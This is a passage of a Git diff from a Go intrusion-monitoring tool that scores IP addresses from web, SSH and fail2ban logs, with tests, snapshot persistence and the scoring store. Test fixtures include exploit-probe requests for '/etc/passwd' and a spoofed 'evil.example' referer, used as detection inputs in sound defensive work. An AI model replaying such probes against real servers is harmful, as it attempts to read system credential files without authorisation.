const chrome = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36"
|
||||
line := func(ip, extra string) core.Event {
|
||||
l := fmt.Sprintf(`{"ClientHost":%q,"RequestHost":"a.example","RequestMethod":"GET","RequestPath":"/etc/passwd","DownstreamStatus":404,"StartUTC":%q,"request_User-Agent":%q%s}`,
|
||||
ip, t0.Add(-time.Minute).Format(time.RFC3339), chrome, extra)
|
||||
e, err := core.ParseTraefik([]byte(l))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return e
|
||||
}
|
||||
s := newStore("x", 100)
|
||||
for i := 0; i < 7; i++ {
|
||||
s.Ingest(line("8.8.4.4", `,"request_Sec-Fetch-Site":"cross-site","request_Sec-Fetch-Dest":"image","request_Referer":"https://evil.example/"`))
|
||||
s.Ingest(line("8.8.8.8", ""))
|
||||
}
|
||||
if hostile(s, "8.8.4.4") {
|
||||
t.Fatal("a framed browser must never become hostile")
|
||||
}
|
||||
// a scanner forging the headers on 1000 exploits: still visible, capped below hostile
|
||||
for i := 0; i < 1000; i++ {
|
||||
s.Ingest(line("9.9.9.9", `,"request_Sec-Fetch-Site":"same-site"`))
|
||||
}
|
||||
d, ok := s.IP("9.9.9.9")
|
||||
if !ok || hostile(s, "9.9.9.9") || d.Strong || d.Score > framedCap || d.Level != core.LevelSuspicious {
|
||||
t.Fatalf("forged framing must be recorded as suspicious, never hidden nor hostile: ok=%v %+v", ok, d)
|
||||
}
|
||||
if !hostile(s, "8.8.8.8") {
|
||||
d, _ := s.IP("8.8.8.8")
|
||||
t.Fatalf("without Sec-Fetch headers it scores as before: %+v", d)
|
||||
}
|
||||
if n := s.Summary("24h").Totals.Counts["exploit"]; n != 14+1000 {
|
||||
t.Fatalf("both count in the timeline: %d", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOldSnapshotDoesNotLoseDomains(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
for i := 0; i < 5; i++ {
|
||||
s.Traffic(core.Event{Time: t0.Add(-time.Hour), Source: "traefik", Domain: "real.example.com", Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"})
|
||||
}
|
||||
for _, d := range s.tr.dom {
|
||||
d.Last = 0 // what gob decodes from a snapshot of the previous version
|
||||
}
|
||||
p := filepath.Join(t.TempDir(), "s.gob")
|
||||
if err := s.Save(p, nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b := newStore("x", 100)
|
||||
if _, err := b.Load(p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if d := b.tr.dom["real.example.com"]; d == nil || d.Last < t0.Add(-time.Hour).Unix() {
|
||||
t.Fatalf("Last not migrated: %+v", d)
|
||||
}
|
||||
b.Prune()
|
||||
if len(b.tr.dom) != 1 {
|
||||
t.Fatal("first Prune after an upgrade dropped the domain")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRedirectSprayDoesNotTakeDomainSlots(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
for i := 0; i < 40; i++ {
|
||||
s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: fmt.Sprintf("junk%d.x", i), Method: "GET", Path: "/", Status: 301, IP: "2.2.2.2"})
|
||||
}
|
||||
s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: "real.example.com", Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"})
|
||||
if _, ok := s.tr.dom["real.example.com"]; !ok || len(s.tr.dom) != 1 {
|
||||
t.Fatalf("slots: %d", len(s.tr.dom))
|
||||
}
|
||||
}
|
||||
|
||||
func strongExploit(ip string, at time.Time) core.Event {
|
||||
e := ev(ip, core.Exploit, 0)
|
||||
e.Time, e.Path, e.Strong = at, "/etc/passwd", true
|
||||
return e
|
||||
}
|
||||
|
||||
func TestAdminImmunityIsBoundedAndCancelled(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
s.SetAdminUsers([]string{"root"})
|
||||
// strong attacks after the login cancel the immunity
|
||||
s.Ingest(core.Event{Time: t0.Add(-2 * time.Hour), IP: "9.9.9.1", Cat: core.SSHOK, Source: "ssh", User: "root"})
|
||||
for i := 0; i < 20; i++ {
|
||||
s.Ingest(strongExploit("9.9.9.1", t0.Add(-time.Hour)))
|
||||
}
|
||||
if d, _ := s.IP("9.9.9.1"); d.Admin || !hostile(s, "9.9.9.1") {
|
||||
t.Fatalf("strong attacks after ssh-ok: %+v", d)
|
||||
}
|
||||
// strong attacks before the login keep it
|
||||
for i := 0; i < 20; i++ {
|
||||
s.Ingest(strongExploit("9.9.9.2", t0.Add(-3*time.Hour)))
|
||||
}
|
||||
s.Ingest(core.Event{Time: t0.Add(-2 * time.Hour), IP: "9.9.9.2", Cat: core.SSHOK, Source: "ssh", User: "root"})
|
||||
if d, _ := s.IP("9.9.9.2"); !d.Admin || d.Level != core.LevelLow {
|
||||
t.Fatalf("login after the attacks: %+v", d)
|
||||
}
|
||||
// a login 25 h ago is no longer immune
|
||||
s.Ingest(core.Event{Time: t0.Add(-25 * time.Hour), IP: "9.9.9.3", Cat: core.SSHOK, Source: "ssh", User: "root"})
|
||||
for i := 0; i < 40; i++ {
|
||||
s.Ingest(core.Event{Time: t0, IP: "9.9.9.3", Cat: core.SSHFail, Source: "ssh", User: "x"})
|
||||
s.Ingest(core.Event{Time: t0, IP: "9.9.9.3", Cat: core.SSHProbe, Source: "ssh"})
|
||||
}
|
||||
if d, _ := s.IP("9.9.9.3"); d.Admin || !hostile(s, "9.9.9.3") {
|
||||
t.Fatalf("ssh-ok 25 h ago: %+v", d)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdminUsersLimitTheImmunity(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
s.SetAdminUsers([]string{"lucas", " "})
|
||||
s.Ingest(core.Event{Time: t0.Add(-time.Hour), IP: "9.9.9.4", Cat: core.SSHOK, Source: "ssh", User: "git"})
|
||||
s.Ingest(core.Event{Time: t0.Add(-time.Hour), IP: "9.9.9.5", Cat: core.SSHOK, Source: "ssh", User: "lucas"})
|
||||
a, _ := s.IP("9.9.9.4")
|
||||
b, _ := s.IP("9.9.9.5")
|
||||
if a.Admin || !b.Admin {
|
||||
t.Fatalf("admin users: git=%v lucas=%v", a.Admin, b.Admin)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPeerCannotGrantAdminOrCheapStrong(t *testing.T) {
|
||||
e := PeerExport{V: ExportVersion}
|
||||
e.Summary.IPs = []IPSummary{
|
||||
{IP: "1.2.3.4", Score: 999, Strong: true, Admin: true},
|
||||
{IP: "1.2.3.5", Score: 10, Strong: true},
|
||||
}
|
||||
if err := e.Sanitize("24h"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := map[string]IPSummary{}
|
||||
for _, x := range e.Summary.IPs {
|
||||
got[x.IP] = x
|
||||
}
|
||||
if got["1.2.3.4"].Admin || got["1.2.3.4"].Level != core.LevelHostile {
|
||||
t.Fatalf("peer admin: %+v", got["1.2.3.4"])
|
||||
}
|
||||
if got["1.2.3.5"].Strong {
|
||||
t.Fatalf("low score peer strong: %+v", got["1.2.3.5"])
|
||||
}
|
||||
// merged with a local score, the peer's cheap strong no longer tips it to hostile
|
||||
m := MergeIPs([]IPSummary{{IP: "1.2.3.5", Score: 45}}, []IPSummary{got["1.2.3.5"]})
|
||||
if m[0].Level == core.LevelHostile {
|
||||
t.Fatalf("merge: %+v", m[0])
|
||||
}
|
||||
}
|
||||
|
||||
// Without --admin-users nobody is immune: an sshd "Accepted" line can be forged
|
||||
// by a local user with logger.
|
||||
func TestNoAdminImmunityByDefault(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
s.Ingest(core.Event{Time: t0.Add(-2 * time.Hour), IP: "9.9.9.7", Cat: core.SSHOK, Source: "ssh", User: "root"})
|
||||
for i := 0; i < 20; i++ {
|
||||
s.Ingest(strongExploit("9.9.9.7", t0.Add(-3*time.Hour)))
|
||||
}
|
||||
if d, _ := s.IP("9.9.9.7"); d.Admin || !hostile(s, "9.9.9.7") {
|
||||
t.Fatalf("no admin list means no immunity: %+v", d)
|
||||
}
|
||||
}
|
||||
|
||||
// A login in the same second as a strong attack does not shield it.
|
||||
func TestAdminTieGoesToTheAttack(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
s.SetAdminUsers([]string{"root"})
|
||||
at := t0.Add(-time.Hour)
|
||||
for i := 0; i < 20; i++ {
|
||||
s.Ingest(strongExploit("9.9.9.8", at))
|
||||
}
|
||||
s.Ingest(core.Event{Time: at, IP: "9.9.9.8", Cat: core.SSHOK, Source: "ssh", User: "root"})
|
||||
if d, _ := s.IP("9.9.9.8"); d.Admin {
|
||||
t.Fatalf("a tie must not grant immunity: %+v", d)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/gob"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
const snapshotVersion = 1
|
||||
|
||||
// Offset is a saved read position of a log file.
|
||||
type Offset struct {
|
||||
Inode uint64
|
||||
Offset int64
|
||||
FP uint64
|
||||
FPLen int
|
||||
}
|
||||
|
||||
type snapshot struct {
|
||||
V int
|
||||
Saved int64
|
||||
Stamps [slots]int64
|
||||
Counts [slots][core.NumCats]uint32
|
||||
Hours [hourSlots]hourSlot
|
||||
MonSt [slots]int64
|
||||
MonN [slots]uint32
|
||||
Dom map[string]*domData
|
||||
IPs map[string]*IPRec
|
||||
Recent []FeedEvent
|
||||
Rhead int
|
||||
Offsets map[string]Offset
|
||||
}
|
||||
|
||||
// Save writes the state atomically (tmp + rename).
|
||||
func (s *Store) Save(path string, offsets map[string]Offset) error {
|
||||
tmp := path + ".tmp"
|
||||
f, err := os.OpenFile(tmp, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
bw := bufio.NewWriterSize(f, 256*1024)
|
||||
s.mu.RLock()
|
||||
snap := snapshot{V: snapshotVersion, Saved: s.now().Unix(), Stamps: s.stamps, Counts: s.counts, Hours: s.hours, MonSt: s.monSt, MonN: s.monN, Dom: s.tr.dom,
|
||||
IPs: s.ips, Recent: s.recent, Rhead: s.rhead, Offsets: offsets}
|
||||
err = gob.NewEncoder(bw).Encode(&snap)
|
||||
s.mu.RUnlock()
|
||||
if err == nil {
|
||||
err = bw.Flush()
|
||||
}
|
||||
if err == nil {
|
||||
err = f.Sync()
|
||||
}
|
||||
if cerr := f.Close(); err == nil {
|
||||
err = cerr
|
||||
}
|
||||
if err != nil {
|
||||
os.Remove(tmp)
|
||||
return err
|
||||
}
|
||||
return os.Rename(tmp, path)
|
||||
}
|
||||
|
||||
// Load restores a snapshot and returns the saved file offsets. A missing file
|
||||
// is not an error (fresh start).
|
||||
func (s *Store) Load(path string) (map[string]Offset, error) {
|
||||
f, err := os.Open(path)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return map[string]Offset{}, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer f.Close()
|
||||
var snap snapshot
|
||||
if err := gob.NewDecoder(bufio.NewReaderSize(f, 256*1024)).Decode(&snap); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if snap.V != snapshotVersion {
|
||||
return nil, errors.New("snapshot version mismatch")
|
||||
}
|
||||
s.mu.Lock()
|
||||
s.stamps, s.counts, s.hours = snap.Stamps, snap.Counts, snap.Hours
|
||||
s.monSt, s.monN = snap.MonSt, snap.MonN
|
||||
s.tr.dom = snap.Dom
|
||||
for _, d := range s.tr.dom {
|
||||
if d != nil && d.Last == 0 {
|
||||
// snapshot written before Last existed: never prune on the first pass
|
||||
d.Last = snap.Saved
|
||||
for _, h := range d.Hours {
|
||||
if h.Req > 0 && h.Hour*3600 > d.Last {
|
||||
d.Last = h.Hour * 3600
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
s.ips = snap.IPs
|
||||
if s.ips == nil {
|
||||
s.ips = map[string]*IPRec{}
|
||||
}
|
||||
// a tampered snapshot must not be able to crash the ring or exceed the caps
|
||||
if len(snap.Recent) > FeedSize {
|
||||
snap.Recent = snap.Recent[len(snap.Recent)-FeedSize:]
|
||||
snap.Rhead = 0
|
||||
}
|
||||
if len(snap.Recent) < FeedSize || snap.Rhead < 0 || snap.Rhead >= len(snap.Recent) {
|
||||
snap.Rhead = 0
|
||||
}
|
||||
s.recent, s.rhead = snap.Recent, snap.Rhead
|
||||
for len(s.ips) > s.cfg.MaxIPs {
|
||||
s.evictLocked()
|
||||
}
|
||||
s.mu.Unlock()
|
||||
s.invalidate()
|
||||
if snap.Offsets == nil {
|
||||
snap.Offsets = map[string]Offset{}
|
||||
}
|
||||
return snap.Offsets, nil
|
||||
}
|
||||
|
||||
// EnsureDir creates the directory of a snapshot path.
|
||||
func EnsureDir(path string) error { return os.MkdirAll(filepath.Dir(path), 0o700) }
|
||||
@@ -0,0 +1,562 @@
|
||||
// Package store keeps the bounded in-memory aggregates and their snapshots.
|
||||
package store
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
const (
|
||||
slots = 7 * 24 * 60 // minute buckets
|
||||
hourSlots = 7 * 24
|
||||
topCap = 64 // entries kept per top-list per hour
|
||||
maxSample = 4
|
||||
maxUAs = 2
|
||||
maxDomain = 3
|
||||
maxText = 120 // bytes kept per sample, UA or domain of an IP
|
||||
maxJails = 8
|
||||
FeedSize = 500
|
||||
maxBans = 5000
|
||||
)
|
||||
|
||||
// Config of a Store.
|
||||
type Config struct {
|
||||
Name string
|
||||
Version string
|
||||
Retention time.Duration
|
||||
MaxIPs int
|
||||
// AdminUsers, when not empty, limits the admin immunity to successful SSH
|
||||
// logins of these users (wired to --admin-users / URUTAU_ADMIN_USERS).
|
||||
AdminUsers []string
|
||||
}
|
||||
|
||||
// AdminWindow is how long a successful SSH login keeps an address immune.
|
||||
const AdminWindow = 24 * time.Hour
|
||||
|
||||
// IPRec is the per-IP aggregate.
|
||||
type IPRec struct {
|
||||
First, Last int64
|
||||
Counts [core.NumCats]uint32
|
||||
Score float64
|
||||
Domains []string
|
||||
Samples []string
|
||||
UAs []string
|
||||
Jails []string
|
||||
BanSince int64
|
||||
// Strong: a high confidence signal was seen (attack tool UA, refused exploit, ban).
|
||||
Strong bool
|
||||
// SSHOK: unix time of the last successful SSH login from this address (an admin).
|
||||
SSHOK int64
|
||||
// StrongAt: unix time of the last strong signal; one after the last SSHOK
|
||||
// cancels the admin immunity.
|
||||
StrongAt int64
|
||||
// FramedScore: the part of Score that came from framed requests (bounded by framedCap).
|
||||
FramedScore float64
|
||||
}
|
||||
|
||||
type hourSlot struct {
|
||||
Hour int64
|
||||
Paths, Domains, UAs, Users, Countries map[string]uint32
|
||||
}
|
||||
|
||||
// FeedEvent is one entry of the live feed.
|
||||
type FeedEvent struct {
|
||||
T int64 `json:"t"`
|
||||
IP string `json:"ip"`
|
||||
Cat string `json:"cat"`
|
||||
Source string `json:"source"`
|
||||
Host string `json:"host"`
|
||||
Domain string `json:"domain,omitempty"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
User string `json:"user,omitempty"`
|
||||
Jail string `json:"jail,omitempty"`
|
||||
Status int `json:"status,omitempty"`
|
||||
Unban bool `json:"unban,omitempty"`
|
||||
Forged bool `json:"forged,omitempty"`
|
||||
CC string `json:"cc,omitempty"`
|
||||
}
|
||||
|
||||
// SetAttribution sets the credit line shown in the dashboard footer (geo data licence).
|
||||
func (s *Store) SetAttribution(a string) { s.attrib = a }
|
||||
|
||||
// SetEnricher installs the geo and User-Agent resolver used to decorate IPs on output.
|
||||
func (s *Store) SetEnricher(e core.Enricher) { s.enr = e }
|
||||
|
||||
// RDNS resolves addresses asynchronously; Lookup never blocks.
|
||||
type RDNS interface{ Lookup(ip string) string }
|
||||
|
||||
// Store is the whole in-memory state of one instance.
|
||||
type Store struct {
|
||||
cfg Config
|
||||
now func() time.Time
|
||||
|
||||
mu sync.RWMutex
|
||||
stamps [slots]int64
|
||||
counts [slots][core.NumCats]uint32
|
||||
hours [hourSlots]hourSlot
|
||||
monSt [slots]int64
|
||||
monN [slots]uint32
|
||||
tr trafficState
|
||||
allow []string
|
||||
ips map[string]*IPRec
|
||||
recent []FeedEvent
|
||||
rhead int
|
||||
started time.Time
|
||||
|
||||
smu sync.Mutex
|
||||
subs map[chan FeedEvent]struct{}
|
||||
|
||||
rdns RDNS
|
||||
enr core.Enricher
|
||||
attrib string
|
||||
sources func() []SourceStatus
|
||||
|
||||
cacheMu sync.Mutex
|
||||
cache map[string]cachedSummary
|
||||
}
|
||||
|
||||
type cachedSummary struct {
|
||||
at time.Time
|
||||
s Summary
|
||||
}
|
||||
|
||||
// New creates an empty store.
|
||||
func New(cfg Config) *Store {
|
||||
if cfg.Retention <= 0 || cfg.Retention > 7*24*time.Hour {
|
||||
cfg.Retention = 7 * 24 * time.Hour
|
||||
}
|
||||
if cfg.MaxIPs <= 0 {
|
||||
cfg.MaxIPs = 20000
|
||||
}
|
||||
return &Store{cfg: cfg, now: time.Now, ips: make(map[string]*IPRec), subs: map[chan FeedEvent]struct{}{},
|
||||
cache: map[string]cachedSummary{}, started: time.Now()}
|
||||
}
|
||||
|
||||
// Name of this instance.
|
||||
func (s *Store) Name() string { return s.cfg.Name }
|
||||
|
||||
// SetRDNS installs the reverse DNS resolver.
|
||||
func (s *Store) SetRDNS(r RDNS) { s.rdns = r }
|
||||
|
||||
// SetSources installs the provider of source status rows.
|
||||
func (s *Store) SetSources(f func() []SourceStatus) { s.sources = f }
|
||||
|
||||
func bump(m *map[string]uint32, key string) { bumpCap(m, key, topCap) }
|
||||
|
||||
func bumpCap(m *map[string]uint32, key string, capN int) {
|
||||
if key == "" {
|
||||
return
|
||||
}
|
||||
if *m == nil {
|
||||
*m = make(map[string]uint32, 8)
|
||||
}
|
||||
mm := *m
|
||||
if _, ok := mm[key]; ok || len(mm) < capN {
|
||||
mm[key]++
|
||||
return
|
||||
}
|
||||
// Full: replace the smallest entry (space-saving style) so new heavy hitters can enter.
|
||||
var minK string
|
||||
var minV uint32 = ^uint32(0)
|
||||
for k, v := range mm {
|
||||
if v < minV {
|
||||
minK, minV = k, v
|
||||
}
|
||||
}
|
||||
delete(mm, minK)
|
||||
mm[key] = minV + 1
|
||||
}
|
||||
|
||||
func addUnique(list []string, v string, max int) []string {
|
||||
if v == "" {
|
||||
return list
|
||||
}
|
||||
for _, x := range list {
|
||||
if x == v {
|
||||
return list
|
||||
}
|
||||
}
|
||||
if len(list) >= max {
|
||||
copy(list, list[1:])
|
||||
list[len(list)-1] = v
|
||||
return list
|
||||
}
|
||||
return append(list, v)
|
||||
}
|
||||
|
||||
func sample(ev core.Event) string {
|
||||
switch ev.Source {
|
||||
case "traefik":
|
||||
if ev.Forged {
|
||||
return ev.Method + " " + ev.Path + " [forged monitor UA]"
|
||||
}
|
||||
return ev.Method + " " + ev.Path
|
||||
case "ssh":
|
||||
if ev.User != "" {
|
||||
return "ssh user " + ev.User
|
||||
}
|
||||
return "ssh probe"
|
||||
case "fail2ban":
|
||||
return "ban " + ev.Jail
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
const softWeight = 0.5
|
||||
|
||||
// Framed requests (Sec-Fetch-* says a browser was made to send them by another
|
||||
// page) weigh little and are capped below the hostile level: a visitor framed
|
||||
// by a third party never becomes hostile. They are still recorded, because the
|
||||
// headers come from the client and a scanner can forge them to hide: such a
|
||||
// scanner shows up as suspicious instead of disappearing.
|
||||
const (
|
||||
framedWeight = 0.25
|
||||
framedCap = 30.0
|
||||
)
|
||||
|
||||
// KeyOf is the table key of an address: IPv4 as is, IPv6 aggregated by /64
|
||||
// (one customer holds a whole /64, so per-address keys would be a memory attack).
|
||||
func KeyOf(ip string) string {
|
||||
a, err := netip.ParseAddr(ip)
|
||||
if err != nil {
|
||||
if p, err := netip.ParsePrefix(ip); err == nil && p.Addr().Is6() {
|
||||
return netip.PrefixFrom(p.Addr(), 64).Masked().String()
|
||||
}
|
||||
return ip
|
||||
}
|
||||
a = a.WithZone("").Unmap()
|
||||
if a.Is4() {
|
||||
return a.String()
|
||||
}
|
||||
return netip.PrefixFrom(a, 64).Masked().String()
|
||||
}
|
||||
|
||||
// Ingest records one event.
|
||||
func (s *Store) Ingest(ev core.Event) {
|
||||
now := s.now()
|
||||
if ev.Time.Before(now.Add(-s.cfg.Retention)) || ev.IP == "" {
|
||||
return
|
||||
}
|
||||
ts := ev.Time.Unix()
|
||||
if max := now.Unix() + 300; ts > max {
|
||||
ts = max
|
||||
}
|
||||
ci := ev.Cat.Index()
|
||||
if ci < 0 {
|
||||
return
|
||||
}
|
||||
scored := !(ev.Cat == core.Ban && (ev.Unban || ev.Restore))
|
||||
malHTTP := ev.Source == "traefik" && (ev.Cat == core.Scanner || ev.Cat == core.Exploit || ev.Cat == core.BruteForce)
|
||||
|
||||
s.mu.Lock()
|
||||
if scored {
|
||||
m := ts / 60
|
||||
i := int(m % slots)
|
||||
if s.stamps[i] != m {
|
||||
s.stamps[i] = m
|
||||
s.counts[i] = [core.NumCats]uint32{}
|
||||
}
|
||||
s.counts[i][ci]++
|
||||
}
|
||||
if scored {
|
||||
h := ts / 3600
|
||||
hs := &s.hours[int(h%hourSlots)]
|
||||
if hs.Hour != h {
|
||||
*hs = hourSlot{Hour: h}
|
||||
}
|
||||
switch {
|
||||
case malHTTP:
|
||||
bump(&hs.Paths, ev.Path)
|
||||
bump(&hs.Domains, ev.Domain)
|
||||
bump(&hs.UAs, ev.UA)
|
||||
case ev.Cat == core.SSHFail:
|
||||
bump(&hs.Users, ev.User)
|
||||
}
|
||||
if ev.Cat.IsMalicious() || ev.Cat == core.Ban && !ev.Unban && !ev.Restore {
|
||||
bumpCap(&hs.Countries, ev.E.CC, 300)
|
||||
}
|
||||
}
|
||||
key := KeyOf(ev.IP)
|
||||
r := s.ips[key]
|
||||
// 4xx alone never creates an IP record (legitimate visitors hit 404s too);
|
||||
// only attack tools do. IPs already tracked keep accumulating them.
|
||||
create := ev.Cat != core.OK && !ev.Unban && (ev.Cat != core.NotFound || ev.E.Tool)
|
||||
// An attack tool User-Agent never comes from a framed browser: the framing
|
||||
// headers are then ignored.
|
||||
framed := ev.Framed && !ev.E.Tool
|
||||
if r == nil && create {
|
||||
if len(s.ips) >= s.cfg.MaxIPs {
|
||||
s.evictLocked()
|
||||
}
|
||||
r = &IPRec{First: ts, Last: ts}
|
||||
s.ips[key] = r
|
||||
}
|
||||
if r != nil {
|
||||
if ts < r.First {
|
||||
r.First = ts
|
||||
}
|
||||
if ts > r.Last {
|
||||
r.Last = ts
|
||||
}
|
||||
if scored {
|
||||
r.Counts[ci]++
|
||||
w := ev.Cat.Weight()
|
||||
if ev.Soft && (ev.Cat == core.Scanner || ev.Cat == core.Exploit) {
|
||||
w = softWeight // answered 2xx/3xx: probably nothing was found
|
||||
}
|
||||
if framed && w > 0 {
|
||||
w = min(framedWeight, framedCap-r.FramedScore)
|
||||
if w < 0 {
|
||||
w = 0
|
||||
}
|
||||
r.FramedScore += w
|
||||
}
|
||||
r.Score += w
|
||||
if framed {
|
||||
// never a strong signal: the headers prove nothing either way
|
||||
} else if ev.E.Tool && ev.Cat != core.OK && ev.Cat != core.SSHOK && ev.Cat != core.Ban {
|
||||
r.Score += core.ToolBonus
|
||||
r.Strong = true
|
||||
r.StrongAt = max(r.StrongAt, ts)
|
||||
}
|
||||
if (ev.Strong && !framed) || ev.Cat == core.Ban {
|
||||
r.Strong = true
|
||||
r.StrongAt = max(r.StrongAt, ts)
|
||||
}
|
||||
if ev.Cat == core.SSHOK && ts > r.SSHOK && s.isAdminUser(ev.User) {
|
||||
r.SSHOK = ts
|
||||
}
|
||||
}
|
||||
if malHTTP {
|
||||
r.Domains = addUnique(r.Domains, clipS(ev.Domain, maxText), maxDomain)
|
||||
r.UAs = addUnique(r.UAs, clipS(ev.UA, maxText), maxUAs)
|
||||
}
|
||||
if ev.Cat != core.OK && ev.Cat != core.NotFound && scored {
|
||||
r.Samples = addUnique(r.Samples, clipS(sample(ev), maxText), maxSample)
|
||||
}
|
||||
if ev.Cat == core.Ban && ev.Jail != "" {
|
||||
if ev.Unban {
|
||||
for i, j := range r.Jails {
|
||||
if j == ev.Jail {
|
||||
r.Jails = append(r.Jails[:i], r.Jails[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
} else if len(r.Jails) < maxJails {
|
||||
r.Jails = addUnique(r.Jails, ev.Jail, maxJails)
|
||||
if r.BanSince == 0 || ts > r.BanSince {
|
||||
r.BanSince = ts
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
var fe FeedEvent
|
||||
feed := ev.Cat != core.OK && ev.Cat != core.NotFound && !ev.Restore
|
||||
if feed {
|
||||
fe = FeedEvent{T: ts, IP: ev.IP, Cat: string(ev.Cat), Source: ev.Source, Host: s.cfg.Name, Domain: ev.Domain,
|
||||
Method: ev.Method, Path: ev.Path, User: ev.User, Jail: ev.Jail, Status: ev.Status, Unban: ev.Unban, Forged: ev.Forged, CC: ev.E.CC}
|
||||
if len(s.recent) < FeedSize {
|
||||
s.recent = append(s.recent, fe)
|
||||
} else {
|
||||
s.recent[s.rhead] = fe
|
||||
s.rhead = (s.rhead + 1) % FeedSize
|
||||
}
|
||||
}
|
||||
s.mu.Unlock()
|
||||
|
||||
if feed && now.Unix()-ts < 300 {
|
||||
s.broadcast(fe)
|
||||
}
|
||||
}
|
||||
|
||||
// isAdminUser: without an explicit --admin-users list nobody is immune (a
|
||||
// local user can forge an sshd "Accepted" line with logger).
|
||||
func (s *Store) isAdminUser(u string) bool {
|
||||
if len(s.cfg.AdminUsers) == 0 {
|
||||
return false
|
||||
}
|
||||
for _, a := range s.cfg.AdminUsers {
|
||||
if a == u {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SetAdminUsers sets Config.AdminUsers (empty: no address is immune).
|
||||
func (s *Store) SetAdminUsers(users []string) {
|
||||
var l []string
|
||||
for _, u := range users {
|
||||
if u = strings.TrimSpace(u); u != "" {
|
||||
l = append(l, u)
|
||||
}
|
||||
}
|
||||
s.mu.Lock()
|
||||
s.cfg.AdminUsers = l
|
||||
s.mu.Unlock()
|
||||
s.invalidate()
|
||||
}
|
||||
|
||||
// adminAt reports whether r is an admin at time now: a successful SSH login
|
||||
// in the last AdminWindow and no strong signal after it.
|
||||
func (r *IPRec) adminAt(now int64) bool {
|
||||
return r.SSHOK > 0 && r.SSHOK >= now-int64(AdminWindow/time.Second) && r.StrongAt < r.SSHOK
|
||||
}
|
||||
|
||||
func (r *IPRec) protected() bool { return len(r.Jails) > 0 || r.SSHOK > 0 }
|
||||
|
||||
// evictLocked makes room: the lowest score (then oldest) go first. Banned IPs
|
||||
// and admin logins are only evicted, oldest first, when nothing else is left,
|
||||
// so the cap is hard.
|
||||
func (s *Store) evictLocked() {
|
||||
type kv struct {
|
||||
ip string
|
||||
prot bool
|
||||
score float64
|
||||
last int64
|
||||
}
|
||||
all := make([]kv, 0, len(s.ips))
|
||||
for ip, r := range s.ips {
|
||||
last := r.Last
|
||||
if r.protected() && r.BanSince > last {
|
||||
last = r.BanSince
|
||||
}
|
||||
all = append(all, kv{ip, r.protected(), r.Score, last})
|
||||
}
|
||||
sort.Slice(all, func(i, j int) bool {
|
||||
if all[i].prot != all[j].prot {
|
||||
return !all[i].prot
|
||||
}
|
||||
if all[i].prot {
|
||||
return all[i].last < all[j].last
|
||||
}
|
||||
if all[i].score != all[j].score {
|
||||
return all[i].score < all[j].score
|
||||
}
|
||||
return all[i].last < all[j].last
|
||||
})
|
||||
n := len(s.ips) / 10
|
||||
if n < 1 {
|
||||
n = 1
|
||||
}
|
||||
if n > len(all) {
|
||||
n = len(all)
|
||||
}
|
||||
for _, e := range all[:n] {
|
||||
delete(s.ips, e.ip)
|
||||
}
|
||||
}
|
||||
|
||||
// Prune drops IPs not seen within the retention window (bans excepted while
|
||||
// they are younger than it).
|
||||
func (s *Store) Prune() int {
|
||||
cut := s.now().Add(-s.cfg.Retention).Unix()
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
n := 0
|
||||
for name, d := range s.tr.dom {
|
||||
if d.Last < cut {
|
||||
delete(s.tr.dom, name) // no activity for the whole retention window
|
||||
}
|
||||
}
|
||||
for ip, r := range s.ips {
|
||||
if r.Last >= cut {
|
||||
continue
|
||||
}
|
||||
if len(r.Jails) > 0 && r.BanSince >= cut {
|
||||
continue
|
||||
}
|
||||
if r.SSHOK >= cut {
|
||||
continue
|
||||
}
|
||||
delete(s.ips, ip)
|
||||
n++
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// IPCount is the size of the IP table.
|
||||
func (s *Store) IPCount() int { s.mu.RLock(); defer s.mu.RUnlock(); return len(s.ips) }
|
||||
|
||||
// Subscribe returns a channel of live feed events; call the returned func to stop.
|
||||
func (s *Store) Subscribe() (<-chan FeedEvent, func()) {
|
||||
ch := make(chan FeedEvent, 64)
|
||||
s.smu.Lock()
|
||||
s.subs[ch] = struct{}{}
|
||||
s.smu.Unlock()
|
||||
return ch, func() {
|
||||
s.smu.Lock()
|
||||
delete(s.subs, ch)
|
||||
s.smu.Unlock()
|
